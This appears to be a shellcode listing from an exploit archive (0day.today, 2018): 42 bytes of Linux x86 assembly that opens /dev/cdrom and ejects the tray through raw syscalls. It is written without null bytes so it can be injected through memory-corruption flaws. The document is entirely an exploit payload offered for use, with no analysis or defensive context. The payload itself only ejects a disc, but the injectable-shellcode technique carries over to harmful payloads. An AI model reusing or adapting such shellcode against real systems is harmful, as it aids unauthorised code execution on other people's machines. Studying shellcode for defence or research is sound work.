linux/x86 eject /dev/cdrom 42 bytes

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linux/x86 eject /dev/cdrom 42 bytes
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; linux/x86 eject /dev/cdrom 42 bytes
 
section .text
    global _start
 
_start:
    ; open("/dev/cdrom", O_RDONLY | O_NONBLOCK);
    mov al, 5
    cdq
    push edx
    push word 0x6d6f
    push dword 0x7264632f
    push dword 0x7665642f
    mov ebx, esp
    mov cx, 0xfff
    sub cx, 0x7ff
    int 0x80
 
    ; ioctl(fd, CDROMEJECT, 0);
    mov ebx, eax
    mov al, 54
    mov cx, 0x5309
    cdq
    int 0x80


#  0day.today [2018-04-02]  #